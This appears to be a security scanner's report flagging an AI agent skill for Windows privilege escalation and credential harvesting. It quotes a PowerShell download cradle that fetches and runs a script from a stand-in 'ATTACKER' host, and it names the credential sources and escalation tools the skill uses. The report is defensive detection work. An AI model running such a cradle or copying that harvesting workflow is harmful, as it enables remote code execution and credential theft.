windows-discovery

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). The skill explicitly instructs the agent to locate cleartext credentials (registry, unattend files, WiFi keys, PowerShell history, etc.) and to call add_credential()/save evidence for each credential, which requires including secret values verbatim in outputs/state—creating an exfiltration risk.

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). Direct HTTP link to a .ps1 hosted on an untrusted "ATTACKER" host is highly suspicious — it’s a remote PowerShell script that would execute arbitrary code and matches common malware distribution patterns.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This skill is explicitly offensive: it instructs credential harvesting (registry, PowerShell history, Wi‑Fi, SAM checks), automated exfiltration/state writes (add_credential/add_vuln/add_pivot and saving evidence), and remote code execution/backdoor patterns (IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/...'), running WinPEAS/PowerUp/SharpUp), together enabling privilege escalation, persistence and lateral pivoting — constituting high-risk malicious/backdoor behavior.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (medium risk: 0.65). The skill’s runtime workflow includes loading and executing outsider-provided enumeration tools (e.g., winpeas.exe, PowerUp.ps1, Seatbelt.exe, PrivescCheck.ps1, jaws-enum.ps1) and then ingesting their output as readable text into the agent/LLM context; if those binaries/scripts or their fetched content are not authored by the operating user, they can contain outsider free text that becomes LLM-visible (indirect prompt injection risk).

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill explicitly guides a privileged escalation-oriented attack workflow (running enumeration/exploitation tools, harvesting credentials, and even advises bypassing PowerShell execution policy / using download cradles) and thus encourages bypassing security mechanisms and actions that can compromise the target system.